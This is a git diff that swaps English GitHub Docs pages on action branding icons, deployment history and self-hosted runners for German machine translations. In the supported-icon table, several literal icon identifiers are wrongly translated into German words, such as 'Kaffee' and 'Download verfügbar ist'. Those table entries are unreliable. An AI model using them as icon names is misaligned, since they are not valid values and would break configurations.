**Optional** You can use a color and [Feather](https://feathericons.com/) icon to create a badge to personalize and distinguish your action. Badges are shown next to your action name in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions).
**Optional:** Du kannst ein farbiges [Feather](https://feathericons.com/)-Symbol verwenden, um einen personalisierten Badge für deine Aktion zu erstellen. Badges werden neben dem Aktionsnamen in [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions) angezeigt.
### Example: Configuring branding for an action
### Beispiel: Konfigurieren des Brandings für eine Aktion
```yaml
branding:
@ -477,30 +481,30 @@ branding:
### `branding.color`
The background color of the badge. Can be one of: `white`, `yellow`, `blue`, `green`, `orange`, `red`, `purple`, or `gray-dark`.
Die Hintergrundfarbe des Badges Optionen: `white`, `yellow`, `blue`, `green`, `orange`, `red`, `purple` oder `gray-dark`
### `branding.icon`
The name of the v4.28.0 [Feather](https://feathericons.com/) icon to use. Brand icons are omitted as well as the following:
Der Name des zu verwendenden [Feather-Symbols](https://feathericons.com/) (Version 4.28.0). Markensymbole sowie die folgenden Symbole werden ausgelassen:
<table>
<tr>
<td>coffee</td>
<td>columns</td>
<td>Kaffee</td>
<td>Spalten</td>
<td>divide-circle</td>
<td>divide-square</td>
</tr>
<tr>
<td>divide</td>
<td>frown</td>
<td>hexagon</td>
<td>key</td>
<td>Hexagon</td>
<td>Schlüssel</td>
</tr>
<tr>
<td>meh</td>
<td>mouse-pointer</td>
<td>smile</td>
<td>tool</td>
<td>Tool</td>
</tr>
<tr>
<td>x-octagon</td>
@ -510,7 +514,7 @@ The name of the v4.28.0 [Feather](https://feathericons.com/) icon to use. Brand
</tr>
</table>
Here is an exhaustive list of all currently supported icons:
Hier findest du eine vollständige Liste aller derzeit unterstützten Symbole:
<!--
This table should match the icon list in `app/models/repository_actions/icons.rb` in the internal github repo.
@ -532,7 +536,7 @@ Here is an exhaustive list of all currently supported icons:
</tr>
<tr>
<td>align-right</td>
<td>anchor</td>
<td>Anker</td>
<td>aperture</td>
<td>archive</td>
</tr>
@ -552,7 +556,7 @@ Here is an exhaustive list of all currently supported icons:
<td>arrow-up-circle</td>
<td>arrow-up-left</td>
<td>arrow-up-right</td>
<td>arrow-up</td>
<td>Pfeil-hoch</td>
</tr>
<tr>
<td>at-sign</td>
@ -564,29 +568,29 @@ Here is an exhaustive list of all currently supported icons:
<td>battery-charging</td>
<td>battery</td>
<td>bell-off</td>
<td>bell</td>
<td>Glocke</td>
</tr>
<tr>
<td>bluetooth</td>
<td>bold</td>
<td>Bluetooth</td>
<td>fett</td>
<td>book-open</td>
<td>book</td>
<td>book (Buch)</td>
</tr>
<tr>
<td>bookmark</td>
<td>Lesezeichen (bookmark)</td>
<td>box</td>
<td>briefcase</td>
<td>calendar</td>
<td>Kalender</td>
</tr>
<tr>
<td>camera-off</td>
<td>camera</td>
<td>cast</td>
<td>Kamera</td>
<td>Umwandlung</td>
<td>check-circle</td>
</tr>
<tr>
<td>check-square</td>
<td>check</td>
<td>Häkchen</td>
<td>chevron-down</td>
<td>chevron-left</td>
</tr>
@ -600,7 +604,7 @@ Here is an exhaustive list of all currently supported icons:
<td>chevrons-right</td>
<td>chevrons-up</td>
<td>circle</td>
<td>clipboard</td>
<td>Zwischenablage</td>
</tr>
<tr>
<td>clock</td>
@ -645,19 +649,19 @@ Here is an exhaustive list of all currently supported icons:
<td>download-cloud</td>
</tr>
<tr>
<td>download</td>
<td>Download verfügbar ist</td>
<td>droplet</td>
<td>edit-2</td>
<td>edit-3</td>
</tr>
<tr>
<td>edit</td>
<td>Bearbeiten</td>
<td>external-link</td>
<td>eye-off</td>
<td>eye</td>
</tr>
<tr>
<td>fast-forward</td>
<td>Fast-Forward</td>
<td>feather</td>
<td>file-minus</td>
<td>file-plus</td>
@ -669,7 +673,7 @@ Here is an exhaustive list of all currently supported icons:
<td>filter</td>
</tr>
<tr>
<td>flag</td>
<td>Flag</td>
<td>folder-minus</td>
<td>folder-plus</td>
<td>folder</td>
@ -677,7 +681,7 @@ Here is an exhaustive list of all currently supported icons:
<tr>
<td>gift</td>
<td>git-branch</td>
<td>git-commit</td>
<td> git-commit</td>
<td>git-merge</td>
</tr>
<tr>
@ -689,7 +693,7 @@ Here is an exhaustive list of all currently supported icons:
<tr>
<td>hash</td>
<td>headphones</td>
<td>heart</td>
<td>herzlich</td>
<td>help-circle</td>
</tr>
<tr>
@ -699,9 +703,9 @@ Here is an exhaustive list of all currently supported icons:
<td>info</td>
</tr>
<tr>
<td>italic</td>
<td>layers</td>
<td>layout</td>
<td>kursiv</td>
<td>Ebenen</td>
<td>Layout</td>
<td>life-buoy</td>
</tr>
<tr>
@ -711,19 +715,19 @@ Here is an exhaustive list of all currently supported icons:
<td>loader</td>
</tr>
<tr>
<td>lock</td>
<td>Sperre</td>
<td>log-in</td>
<td>log-out</td>
<td>mail</td>
</tr>
<tr>
<td>map-pin</td>
<td>map</td>
<td>Karte</td>
<td>maximize-2</td>
<td>maximize</td>
</tr>
<tr>
<td>menu</td>
<td>Menü</td>
<td>message-circle</td>
<td>message-square</td>
<td>mic-off</td>
@ -737,26 +741,26 @@ Here is an exhaustive list of all currently supported icons:
<tr>
<td>minus-square</td>
<td>minus</td>
<td>monitor</td>
<td>Überwachen</td>
<td>moon</td>
</tr>
<tr>
<td>more-horizontal</td>
<td>more-vertical</td>
<td>move</td>
<td>Verschieben</td>
<td>music</td>
</tr>
<tr>
<td>navigation-2</td>
<td>navigation</td>
<td>octagon</td>
<td>package</td>
<td>Paket</td>
</tr>
<tr>
<td>paperclip</td>
<td>pause-circle</td>
<td>pause</td>
<td>percent</td>
<td>Prozent</td>
</tr>
<tr>
<td>phone-call</td>
@ -786,7 +790,7 @@ Here is an exhaustive list of all currently supported icons:
<td>radio</td>
<td>refresh-ccw</td>
<td>refresh-cw</td>
<td>repeat</td>
<td>wiederholen</td>
</tr>
<tr>
<td>rewind</td>
@ -795,16 +799,16 @@ Here is an exhaustive list of all currently supported icons:
<td>rss</td>
</tr>
<tr>
<td>save</td>
<td>Speichern</td>
<td>scissors</td>
<td>search</td>
<td>send</td>
<td>Send</td>
</tr>
<tr>
<td>server</td>
<td>settings</td>
<td>share-2</td>
<td>share</td>
<td>Freigeben</td>
</tr>
<tr>
<td>shield-off</td>
@ -813,28 +817,28 @@ Here is an exhaustive list of all currently supported icons:
<td>shopping-cart</td>
</tr>
<tr>
<td>shuffle</td>
<td>Shuffle</td>
<td>sidebar</td>
<td>skip-back</td>
<td>skip-forward</td>
</tr>
<tr>
<td>slash</td>
<td>sliders</td>
<td>Schieberegler</td>
<td>smartphone</td>
<td>speaker</td>
<td>Lautsprecher</td>
</tr>
<tr>
<td>square</td>
<td>star</td>
<td>Sternchen</td>
<td>stop-circle</td>
<td>sun</td>
</tr>
<tr>
<td>sunrise</td>
<td>sunset</td>
<td>tablet</td>
<td>tag</td>
<td>Sonnenuntergang</td>
<td>Tablet</td>
<td>das Tag</td>
</tr>
<tr>
<td>target</td>
@ -852,17 +856,17 @@ Here is an exhaustive list of all currently supported icons:
<td>trash</td>
<td>trending-down</td>
<td>trending-up</td>
<td>triangle</td>
<td>Dreieck</td>
</tr>
<tr>
<td>truck</td>
<td>LKW</td>
<td>tv</td>
<td>type</td>
<td>umbrella</td>
<td>Regenschirm</td>
</tr>
<tr>
<td>underline</td>
<td>unlock</td>
<td>Unterstrichen</td>
<td>Entsperren</td>
<td>upload-cloud</td>
<td>upload</td>
</tr>
@ -885,7 +889,7 @@ Here is an exhaustive list of all currently supported icons:
<td>volume-x</td>
</tr>
<tr>
<td>volume</td>
<td>Volume</td>
<td>watch</td>
<td>wifi-off</td>
<td>wifi</td>

Просмотреть файл

@ -1,7 +1,6 @@
---
title: Viewing deployment history
shortTitle: View deployment history
intro: View current and previous deployments for your repository.
title: Anzeigen des Bereitstellungsverlaufs
intro: Zeige aktuelle und frühere Bereitstellungen für dein Repository an.
versions:
fpt: '*'
ghes: '*'
@ -9,21 +8,24 @@ versions:
ghec: '*'
topics:
- API
shortTitle: View deployment history
redirect_from:
- /developers/overview/viewing-deployment-history
- /actions/deployment/viewing-deployment-history
ms.openlocfilehash: 2941d8de6af3b7505a3c05a6b15436d32becea9b
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 09/10/2022
ms.locfileid: '145091387'
---
Du kannst Bereitstellungen über {% data variables.product.prodname_actions %} und Umgebungen oder mit der REST-API und Drittanbieter-Apps bereitstellen. {% ifversion fpt or ghae ghes > 3.0 or ghec %} Weitere Informationen zur Verwendung von Umgebungen zum Bereitstellen mit {% data variables.product.prodname_actions %} findest du unter [Verwenden von Umgebungen für die Bereitstellung](/actions/deployment/using-environments-for-deployment). {% endif %}Weitere Informationen zu Bereitstellungen mit der REST-API findest du unter [Repositorys](/rest/reference/repos#deployments).
Klicke auf der Homepage deines Repositorys auf **Umgebungen**, um aktuelle und frühere Bereitstellungen anzuzeigen.
{% ifversion ghae %} ![Umgebungen](/assets/images/enterprise/2.22/environments-sidebar.png){% else %} ![Umgebungen](/assets/images/environments-sidebar.png){% endif %}
You can deliver deployments through {% data variables.product.prodname_actions %} and environments or with the REST API and third party apps. {% ifversion fpt or ghae ghes > 3.0 or ghec %}For more information about using environments to deploy with {% data variables.product.prodname_actions %}, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %}For more information about deployments with the REST API, see "[Repositories](/rest/reference/repos#deployments)."
Auf der Seite „Bereitstellungen“ wird die letzte aktive Bereitstellung jeder Umgebung für dein Repository angezeigt. Wenn die Bereitstellung eine Umgebungs-URL enthält, wird neben der Bereitstellung eine Schaltfläche **Bereitstellung anzeigen** angezeigt, die auf die URL verweist.
To view current and past deployments, click **Environments** on the home page of your repository.
{% ifversion ghae %}
![Environments](/assets/images/enterprise/2.22/environments-sidebar.png){% else %}
![Environments](/assets/images/environments-sidebar.png){% endif %}
Das Aktivitätsprotokoll zeigt den Bereitstellungsverlauf für deine Umgebungen. Standardmäßig weist nur die neueste Bereitstellung für eine Umgebung den Status `Active` auf, alle zuvor aktiven Bereitstellungen haben den Status `Inactive`. Weitere Informationen zur automatischen Inaktivierung von Bereitstellungen findest du unter [Inaktive Bereitstellungen](/rest/reference/deployments#inactive-deployments).
The deployments page displays the last active deployment of each environment for your repository. If the deployment includes an environment URL, a **View deployment** button that links to the URL is shown next to the deployment.
The activity log shows the deployment history for your environments. By default, only the most recent deployment for an environment has an `Active` status; all previously active deployments have an `Inactive` status. For more information on automatic inactivation of deployments, see "[Inactive deployments](/rest/reference/deployments#inactive-deployments)."
You can also use the REST API to get information about deployments. For more information, see "[Repositories](/rest/reference/repos#deployments)."
Du kannst auch die REST-API verwenden, um Informationen zu Bereitstellungen abzurufen. Weitere Informationen findest du unter [Repositorys](/rest/reference/repos#deployments).

Просмотреть файл

@ -1,6 +1,6 @@
---
title: About self-hosted runners
intro: 'You can host your own runners and customize the environment used to run jobs in your {% data variables.product.prodname_actions %} workflows.'
title: Informationen zu selbstgehosteten Runnern
intro: 'Du kannst deine eigenen Runner hosten und die Umgebung anpassen, die für die Ausführung von Aufträgen in deinen {% data variables.product.prodname_actions %}-Workflows verwendet wird.'
redirect_from:
- /github/automating-your-workflow-with-github-actions/about-self-hosted-runners
- /actions/automating-your-workflow-with-github-actions/about-self-hosted-runners
@ -10,177 +10,174 @@ versions:
ghae: '*'
ghec: '*'
type: overview
ms.openlocfilehash: b570dbe3a5df607f0b02e0c7a42a6a7cfb860c80
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 10/25/2022
ms.locfileid: '148107565'
---
{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
{% data reusables.actions.enterprise-beta %}
{% data reusables.actions.enterprise-github-hosted-runners %}
## Informationen zu selbstgehosteten Runnern
## About self-hosted runners
A self-hosted runner is a system that you deploy and manage to execute jobs from {% data variables.product.prodname_actions %} on {% ifversion ghae or ghec %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. For more information about {% data variables.product.prodname_actions %}, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions){% ifversion fpt %}."{% elsif ghec or ghes or ghae %}" and "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)."{% endif %}
Ein selbstgehosteter Runner ist ein System, das du bereitstellst und verwaltest, um Aufträge von {% data variables.product.prodname_actions %} auf {% ifversion ghae or ghec %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} auszuführen. Weitere Informationen zu {% data variables.product.prodname_actions %} findest du unter [Grundlegendes zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions){% ifversion fpt %}.{% elsif ghec or ghes or ghae %} und [Informationen zu {% data variables.product.prodname_actions %} für Unternehmen](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises).{% endif %}
{% data reusables.actions.self-hosted-runner-description %} {% data reusables.actions.self-hosted-runner-locations %}
You can add self-hosted runners at various levels in the management hierarchy:
- Repository-level runners are dedicated to a single repository.
- Organization-level runners can process jobs for multiple repositories in an organization.
- Enterprise-level runners can be assigned to multiple organizations in an enterprise account.
Du kannst selbstgehostete Runner auf verschiedenen Ebenen der Verwaltungshierarchie hinzufügen:
- Runner auf Repositoryebene sind für ein einzelnes Repository vorgesehen.
- Runner auf Organisationsebene können Aufträge für mehrere Repositorys in einer Organisation verarbeiten.
- Runner auf Unternehmensebene können mehreren Organisationen innerhalb eines Unternehmenskontos zugewiesen werden.
{% data reusables.actions.self-hosted-runner-architecture %} {% data reusables.actions.runner-app-open-source %} When a new version is released, the runner application automatically updates itself when a job is assigned to the runner, or within a week of release if the runner hasn't been assigned any jobs.
{% data reusables.actions.self-hosted-runner-architecture %} {% data reusables.actions.runner-app-open-source %} Wenn eine neue Version veröffentlicht wird, aktualisiert sich die Runneranwendung automatisch bei Zuweisung eines Auftrags zum Runner oder innerhalb einer Woche nach der Veröffentlichung, wenn dem Runner keine Aufträge zugewiesen wurden.
{% ifversion ghes %}
{% note %}
{% ifversion ghes %} {% note %}
**Note:** {% data reusables.actions.upgrade-runners-before-upgrade-ghes %}
**Hinweis:** {% data reusables.actions.upgrade-runners-before-upgrade-ghes %}
{% endnote %}
{% endif %}
{% endnote %} {% endif %}
{% data reusables.actions.self-hosted-runner-auto-removal %}
For more information about installing and using self-hosted runners, see "[Adding self-hosted runners](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners)" and "[Using self-hosted runners in a workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow)."
Weitere Informationen zum Installieren und Verwenden von selbstgehosteten Runnern findest du unter [Hinzufügen von selbstgehosteten Runnern](/github/automating-your-workflow-with-github-actions/adding-self-hosted-runners) und [Verwenden von selbstgehosteten Runnern in einem Workflow](/github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow).
## {% ifversion fpt or ghec or ghes %}Differences between {% data variables.product.prodname_dotcom %}-hosted and {% elsif ghae %}Characteristics of {% endif %}self-hosted runners
## {% ifversion fpt or ghec or ghes %}Unterschiede zwischen von {% data variables.product.prodname_dotcom %} gehosteten und {% elsif ghae %}Merkmale von {% endif %}selbstgehosteten Runnern
{% ifversion fpt or ghec or ghes %}
{% data variables.product.prodname_dotcom %}-hosted runners offer a quicker, simpler way to run your workflows, while self-hosted{% elsif ghae %}Self-hosted{% endif %} runners are a highly configurable way to run workflows in your own custom environment. {% ifversion ghae %}Self-hosted runners:{% endif %}
{% ifversion fpt or ghec or ghes %} Mit Runnern, die mithilfe von {% data variables.product.prodname_dotcom %} gehostet werden, können deine Workflows schneller und einfacher ausgeführt werden, während selbstgehostete Runner eine hochgradig konfigurierbare Ausführung von Workflows in deiner eigenen benutzerdefinierten Umgebung ermöglichen{% elsif ghae %}Selbstgehostete Runner bieten eine hochgradig konfigurierbare Möglichkeit zum Ausführen von Workflows in deiner eigenen benutzerdefinierten Umgebung{% endif %}. {% ifversion ghae %}Selbstgehostete Runner:{% endif %}
{% ifversion fpt or ghec or ghes %}
**{% data variables.product.prodname_dotcom %}-hosted runners:**
- Receive automatic updates for the operating system, preinstalled packages and tools, and the self-hosted runner application.
- Are managed and maintained by {% data variables.product.prodname_dotcom %}.
- Provide a clean instance for every job execution.
- Use free minutes on your {% data variables.product.prodname_dotcom %} plan, with per-minute rates applied after surpassing the free minutes.
{% ifversion fpt or ghec or ghes %} **Von {% data variables.product.prodname_dotcom %} gehostete Runner:**
- Erhalten automatischer Updates für das Betriebssystem, vorinstallierte Pakete und Tools und die selbstgehostete Runneranwendung.
- Werden von {% data variables.product.prodname_dotcom %} verwaltet und gepflegt.
- Bereitstellen einer sauberen Instanz für jede Auftragsausführung.
- Verwende freie Minuten von deinem {% data variables.product.prodname_dotcom %}-Plan. Nach Überschreiten der Freiminuten gelten Minutentarife.
**Self-hosted runners:**{% endif %}
- Receive automatic updates for the self-hosted runner application only{% ifversion fpt or ghec or ghes > 3.4 or ghae %}, though you may disable automatic updates of the runner. For more information about controlling runner software updates on self-hosted runners, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners#controlling-runner-software-updates-on-self-hosted-runners)."{% else %}.{% endif %} You are responsible for updating the operating system and all other software.
- Can use cloud services or local machines that you already pay for.
- Are customizable to your hardware, operating system, software, and security requirements.
- Don't need to have a clean instance for every job execution.
- Are free to use with {% data variables.product.prodname_actions %}, but you are responsible for the cost of maintaining your runner machines.{% ifversion ghec or ghes or ghae %}
- Can be organized into groups to restrict access to specific {% ifversion restrict-groups-to-workflows %}workflows, {% endif %}organizations and repositories. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."{% endif %}
**Selbstgehostete Runner:**{% endif %}
- Empfange automatische Updates nur für die selbstgehostete Runneranwendung{% ifversion fpt or ghec or ghes > 3.4 or ghae %}, obwohl du automatische Aktualisierungen des Runners möglicherweise deaktiviert hast. Weitere Informationen zum Steuern von Softwareupdates für selbstgehostete Runner findest du unter [Automatische Skalierung mit selbstgehosteten Runnern](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners#controlling-runner-software-updates-on-self-hosted-runners).{% else %}.{% endif %} Du bist dafür verantwortlich, das Betriebssystem sowie alle weiteren Softwarekomponenten zu aktualisieren.
- Kann Clouddienste oder lokale Computer verwenden, für die du bereits bezahlst.
- Können an deine Hardware, das Betriebssystem, Software und Sicherheitsanforderungen angepasst werden.
- Benötigen keine saubere Instanz für jede Auftragsausführung.
- Sind in {% data variables.product.prodname_actions %} kostenlos. Du bist jedoch für die Kosten der Wartung deiner Runnercomputer verantwortlich.{% ifversion ghec or ghes or ghae %}
- Können in Gruppen organisiert werden, um den Zugriff auf bestimmte {% ifversion restrict-groups-to-workflows %}-Workflows, {% endif %}Organisationen und Repositorys zu beschränken. Weitere Informationen findest du unter [Verwalten des Zugriffs auf selbstgehostete Runner mithilfe von Gruppen](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).{% endif %}
## Requirements for self-hosted runner machines
## Anforderungen für selbst-gehostete Runner-Maschinen
You can use any machine as a self-hosted runner as long at it meets these requirements:
Du kannst jeden Computer als selbstgehosteten Runner verwenden, solange er die folgenden Anforderungen erfüllt:
* You can install and run the self-hosted runner application on the machine. For more information, see "[Supported architectures and operating systems for self-hosted runners](#supported-architectures-and-operating-systems-for-self-hosted-runners)."
* The machine can communicate with {% data variables.product.prodname_actions %}. For more information, see "[Communication between self-hosted runners and {% data variables.product.product_name %}](#communication-requirements)."
* The machine has enough hardware resources for the type of workflows you plan to run. The self-hosted runner application itself only requires minimal resources.
* If you want to run workflows that use Docker container actions or service containers, you must use a Linux machine and Docker must be installed.
* Du kannst die Anwendung für selbst-gehostete Runner auf dem Rechner installieren und ausführen. Weitere Informationen findest du unter [Unterstützte Architekturen und Betriebssysteme für selbstgehostete Runner](#supported-architectures-and-operating-systems-for-self-hosted-runners).
* Die Maschine kann mit {% data variables.product.prodname_actions %} kommunizieren. Weitere Informationen findest du unter [Kommunikation zwischen selbstgehosteten Runnern und {% data variables.product.product_name %}](#communication-requirements).
* Der Rechner verfügt über genügend Hardwareressourcen für den Typ der Workflows, den du ausführen möchtest. Die Anwendung für selbst-gehostete Runner selbst erfordert nur minimale Ressourcen.
* Wenn du Workflows ausführen willst, die Docker-Container-Aktionen oder Service-Container verwenden, brauchst du eine Linux-Maschine und Docker muss installiert sein.
## Autoscaling your self-hosted runners
## Automatische Skalierung deiner selbstgehosteten Runner
You can automatically increase or decrease the number of self-hosted runners in your environment in response to the webhook events you receive. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)."
Du kannst die Anzahl selbstgehosteter Runner in deiner Umgebung als Reaktion auf Webhookereignisse, die du erhältst, automatisch erhöhen oder verringern. Weitere Informationen findest du unter [Automatische Skalierung mit selbstgehosteten Runnern](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners).
## Usage limits
## Usage limits (Nutzungseinschränkungen)
There are some limits on {% data variables.product.prodname_actions %} usage when using self-hosted runners. These limits are subject to change.
Die Verwendung von {% data variables.product.prodname_actions %} mit selbstgehosteten Runnern unterliegt gewissen Beschränkungen. Die Einschränkungen können sich jederzeit ändern.
{% data reusables.actions.usage-workflow-run-time %}
- **Job queue time** - Each job for self-hosted runners can be queued for a maximum of 24 hours. If a self-hosted runner does not start executing the job within this limit, the job is terminated and fails to complete.
- **Zeit in der Auftragswarteschlange:** Jeder Auftrag für selbstgehostete Runner kann maximal 24 Stunden lang in die Warteschlange gestellt werden. Wenn ein selbst-gehosteter Läufer die Ausführung des Auftrags nicht innerhalb dieses Limits startet, wird der Auftrag beendet und kann nicht abgeschlossen werden.
{% data reusables.actions.usage-api-requests %}
- **Job matrix** - {% data reusables.actions.usage-matrix-limits %}
{% data reusables.actions.usage-workflow-queue-limits %}
- **Auftragsmatrix:** {% data reusables.actions.usage-matrix-limits %} {% data reusables.actions.usage-workflow-queue-limits %}
## Workflow continuity for self-hosted runners
## Workflowkontinuität für selbstgehostete Runner
{% data reusables.actions.runner-workflow-continuity %}
## Supported architectures and operating systems for self-hosted runners
## Unterstützte Architekturen und Betriebssysteme für selbstgehostete Runner
The following operating systems are supported for the self-hosted runner application.
Die folgenden Betriebssysteme werden für die selbstgehostete Runneranwendung unterstützt:
### Linux
- Red Hat Enterprise Linux 7 or later
- CentOS 7 or later
- Red Hat Enterprise Linux 7 oder höher
- CentOS 7 oder höher
- Oracle Linux 7
- Fedora 29 or later
- Debian 9 or later
- Ubuntu 16.04 or later
- Linux Mint 18 or later
- openSUSE 15 or later
- SUSE Enterprise Linux (SLES) 12 SP2 or later
- Fedora 29 oder höher
- Debian 9 oder höher
- Ubuntu 16.04 oder höher
- Linux Mint 18 oder höher
- openSUSE 15 oder höher
- SUSE Enterprise Linux (SLES) 12 SP2 oder höher
### Windows
- Windows 7 64-bit
- Windows 8.1 64-bit
- Windows 10 64-bit
- Windows 8.1 64-Bit
- Windows 10 64-Bit
- Windows Server 2012 R2 64-bit
- Windows Server 2019 64-bit
### macOS
- macOS 10.13 (High Sierra) or later
- macOS 10.13 (High Sierra) oder höher
### Architectures
### Architekturen
The following processor architectures are supported for the self-hosted runner application.
Die folgenden Prozessorarchitekturen werden für die selbstgehostete Runneranwendung unterstützt:
- `x64` - Linux, macOS, Windows.
- `ARM64` - Linux{% ifversion actions-macos-arm %}, macOS{% endif %}{% ifversion actions-windows-arm %}, Windows (currently in beta){% endif %}.
- `ARM32` - Linux.
- `x64`: Linux, macOS, Windows
- `ARM64`: Linux{% ifversion actions-macos-arm %}, macOS{% endif %}{% ifversion actions-windows-arm %}, Windows (derzeit in der Betaphase){% endif %}.
- `ARM32`: Linux.
{% ifversion ghes %}
## Supported actions on self-hosted runners
## Unterstützte Aktionen auf selbstgehosteten Runnern
Some extra configuration might be required to use actions from {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_ghe_server %}, or to use the `actions/setup-LANGUAGE` actions with self-hosted runners that do not have internet access. For more information, see "[Managing access to actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/managing-access-to-actions-from-githubcom)" and contact your {% data variables.product.prodname_enterprise %} site administrator.
Möglicherweise ist zusätzliche Konfiguration erforderlich, um Aktionen von {% data variables.product.prodname_dotcom_the_website %} mit {% data variables.product.prodname_ghe_server %} oder die `actions/setup-LANGUAGE`-Aktionen mit selbstgehosteten Runnern zu verwenden, die keinen Internetzugang haben. Weitere Informationen findest du unter [Verwalten des Zugriffs auf Aktionen aus {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/managing-access-to-actions-from-githubcom). Zudem kannst du deine*n {% data variables.product.prodname_enterprise %}-Websiteadministrator*in kontaktieren.
{% endif %}
<a name="communication-requirements"></a>
## Communication between self-hosted runners and {% data variables.product.product_name %}
## Kommunikation zwischen selbst-gehosteten Runnern und {% data variables.product.product_name %}
The self-hosted runner connects to {% data variables.product.product_name %} to receive job assignments and to download new versions of the runner application. The self-hosted runner uses an {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} _long poll_ that opens a connection to {% data variables.product.product_name %} for 50 seconds, and if no response is received, it then times out and creates a new long poll. The application must be running on the machine to accept and run {% data variables.product.prodname_actions %} jobs.
Der selbstgehostete Runner stellt eine Verbindung mit {% data variables.product.product_name %} her, um Auftragszuweisungen zu erhalten und neue Versionen der Runneranwendung herunterzuladen. Der selbstgehostete Runner verwendet eine _lange {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} Anfrage_, die 50 Sekunden lang eine Verbindung mit {% data variables.product.product_name %} öffnet. Wird keine Antwort empfangen, wird erfolgt ein Verbindungstimeout, und eine neue lange Anfrage wird erstellt. Die Anwendung muss auf dem Computer ausgeführt werden, um {% data variables.product.prodname_actions %}-Aufträge zu akzeptieren und auszuführen.
{% data reusables.actions.self-hosted-runner-ports-protocols %}
{% ifversion fpt or ghec %}
Since the self-hosted runner opens a connection to {% data variables.location.product_location %}, you do not need to allow {% data variables.product.prodname_dotcom %} to make inbound connections to your self-hosted runner.
{% elsif ghes or ghae %}
Only an outbound connection from the runner to {% data variables.location.product_location %} is required. There is no need for an inbound connection from {% data variables.location.product_location %} to the runner.
{% ifversion fpt or ghec %} Da der selbstgehostete Runner eine Verbindung mit {% data variables.location.product_location %} herstellt, ist es nicht nötig, dass du {% data variables.product.prodname_dotcom %} erlaubst, eingehende Verbindungen mit deinem selbst gehosteten Runner herzustellen.
{% elsif ghes or ghae %} Es ist nur eine ausgehende Verbindung vom Runner zu {% data variables.location.product_location %} erforderlich. Es besteht keine Notwendigkeit für eine eingehende Verbindung von {% data variables.location.product_location %} zum Runner.
{%- endif %}
{% ifversion ghes %}
{% data variables.product.product_name %} must accept inbound connections from your runners over {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} at {% data variables.location.product_location %}'s hostname and API subdomain, and your runners must allow outbound connections over {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} to {% data variables.location.product_location %}'s hostname and API subdomain.
{% data variables.product.product_name %} muss eingehende Verbindungen von deinen Runnern über {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} im Hostnamen und der API-Unterdomäne von {% data variables.location.product_location %} akzeptieren. Außerdem müssen deine Runner ausgehende Verbindungen mit dem Hostnamen und der API-Unterdomäne von {% data variables.location.product_location %} über {% ifversion ghes %}HTTP(S){% else %}HTTPS{% endif %} zulassen.
{% elsif ghae %}
You must ensure that the self-hosted runner has appropriate network access to communicate with your {% data variables.product.product_name %} URL and its subdomains. For example, if your subdomain for {% data variables.product.product_name %} is `octoghae`, then you will need to allow the self-hosted runner to access `octoghae.githubenterprise.com`, `api.octoghae.githubenterprise.com`, and `codeload.octoghae.githubenterprise.com`.
Du musst sicherstellen, dass der selbstgehostete Runner über einen angemessenen Netzwerkzugriff verfügt, sodass er mit deiner {% data variables.product.product_name %}-URL und deren Unterdomänen kommunizieren kann. Wenn deine Unterdomäne für {% data variables.product.product_name %} beispielsweise `octoghae` lautet, musst du dem selbstgehosteten Runner den Zugriff auf `octoghae.githubenterprise.com`, `api.octoghae.githubenterprise.com` und `codeload.octoghae.githubenterprise.com` erteilen.
If you use an IP address allow list, you must add your self-hosted runner's IP address to the allow list. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list)."
Wenn du eine IP-Zulassungsliste verwendest, musst du die IP-Adresse deines selbstgehosteten Runners zur Zulassungsliste hinzufügen. Weitere Informationen findest du unter [Verwalten zulässiger IP-Adressen für deine Organisation](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list).
{% endif %}
{% ifversion fpt or ghec %}
You must ensure that the machine has the appropriate network access to communicate with the {% data variables.product.prodname_dotcom %} hosts listed below. Some hosts are required for essential runner operations, while other hosts are only required for certain functionality.
Du musst sicherstellen, dass der Computer über angemessenen Netzwerkzugriff verfügt, um mit den unten aufgeführten {% data variables.product.prodname_dotcom %}-Hosts zu kommunizieren. Einige Hosts sind für wesentliche Runnervorgänge erforderlich, während andere nur für bestimmte Funktionen erforderlich sind.
{% note %}
